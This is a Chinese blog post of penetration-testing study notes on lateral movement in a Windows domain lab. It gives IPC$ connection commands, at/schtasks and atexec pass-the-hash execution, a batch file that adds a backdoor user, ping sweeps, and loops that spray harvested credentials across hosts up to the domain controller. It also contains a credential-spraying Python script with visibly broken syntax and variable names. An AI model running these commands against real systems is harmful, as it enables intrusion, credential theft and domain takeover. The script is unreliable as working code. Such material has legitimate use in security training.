网安学习-内网渗透2

目录

#案例一:横向渗透明文传递at&schtasks

#案例2-横向渗透明文HASH传递atexec-impacket

#案例3:横向渗透明文HASH传递批量利用-综合


#案例一:横向渗透明文传递at&schtasks

在拿下一台内网的主机之后,通过本地信息收集收集用户凭证等信息之后,如何横向渗透拿下更多的主机?这里介绍at&schtasks命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。

获取到某域主机权限->mimikatz得到密码(明文,或者是hash)->用到信息收集里面的域用户的列表当作用户名字典->用到密码明文当作密码的字典->尝试连接->创建计划任务(at | schtasks)->执行文件可以是后门文件或者是相关命令

at  <  windows2012

schtasks  >=  windows2012

利用流程:

  1. 建立IPC链接到目标主机
  2. 拷贝要执行的命令脚本到目标主机
  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
  4. 删除IPC链接

net  use  \\server\ipc$"password"  /user:username        #工作组

net  use  \\server\ipc$"password"  /user:domain \username        #域内

dir  \\xx.xx.xx.xx\C$\        #查看文件列表

copy  \\xx.xx.xx.xx\C$\1.bat  1.bat        #下载文件

copy  1.bat   \\xx.xx.xx.xx\C$        #复制文件

net  use  \\xx.xx.xx.xx\C$\1.bat  /del        #删除IPC

net  view  xx.xx.xx.xx        #查看对方共享

建立IPC连接到目标主机:

接下来就是将add.bat文件拷贝到目标主机(实战中大多是CS 或者是MSF木马)。之后就是创建一个定时的任务。

 其中add.bat文件中的内容是如上,就是增加一个用户名为xiaodi,密码为qwe...

查看是否创建成功。

可以看到已经有了xiaodi这个用户。

建立IPC失败的原因

  1. 目标系统不是NT或者以上的操作系统
  2. 对方没有打开IPC$共享
  3. 对方未开启139、445端口,或者被防火墙屏蔽
  4. 输出命令、账号密码有错误

#案例2-横向渗透明文HASH传递atexec-impacket

atexec工具自带提权。优点:方便快捷,可以支持hash。缺点:第三方工具,会受到杀毒软件或防护的影响。如果目标主机有杀软或防护的话,要对该软件进行免杀

#案例3:横向渗透明文HASH传递批量利用-综合

webserver已经拿到权限

通过mimikatz获取到密码。

获取到本机密码。之后便探针存活主机,使用批处理来跑多个ip地址,使用固定的密码账号,来执行个whoami,ips.txt就是刚才收集到存活主机的IP地址。(探针主机,可以用nmap也可以用上个文章记录的ping命令的方法)

for /L %i in (i,1,254) DO @ping -w 1 -n 1 192.168.3.%i findstr "TTL="

 之后便可以写一个批量的脚本来测试这个口令在上面探测到的ip中使用概率。

其中的ips.txt中存放的就是我么上面探针到的地址。上面的for循环的代码被存储在at_ip.bat文件中,执行该文件。

这里就是发现了192.168.3.29执行whoami之后返回的是system。也就是说这个192.168.3.29账号为administrator,密码采用的就是admin!@#45。那么由于我们得到的是system权限,所以我们又可以通过mimikatz等工具来获取到29这个主机上的密码,之后便可以再将其账号密码作为字典去批量测试域中的主机

之后便可以将得到的密码写入到pass.txt文件中,批量去测试域控。

 这里使用的还是上面的ip.txt的那个for循环

FOR /F %%i in (ip.txt) do atexec.exe ./administrator:Admin12345@%%i whoami

这里就返回了域控的密码。 

 当然上面都是通过了一个for来改变一个变量,我们也是可以改变三个变量,比如说ip地址、用户名、以及密码都作为变量进行FUZZ。

放上迪哥脚本。


import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'1'
}
user = {
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack'
'mary'
'vpnadm'
'webadmin'
passs = {
'admin',
'admin!@#45',
'Admin12345'
}
for ip in ips:
    for user in users:
        for mima in passs:
            exec = "net use \\"+"\\"+ip+"\ipc$ "+mina+" /user:god\\"+user
            print("----->"+exec+"<-----")
            os.system(exec)
            time.sleep(1)

 连接上五台内网的主机,因此之后的操作就是和上面的一样了,上传文件等。

猜你喜欢

转载自blog.csdn.net/weixin_44770698/article/details/126052965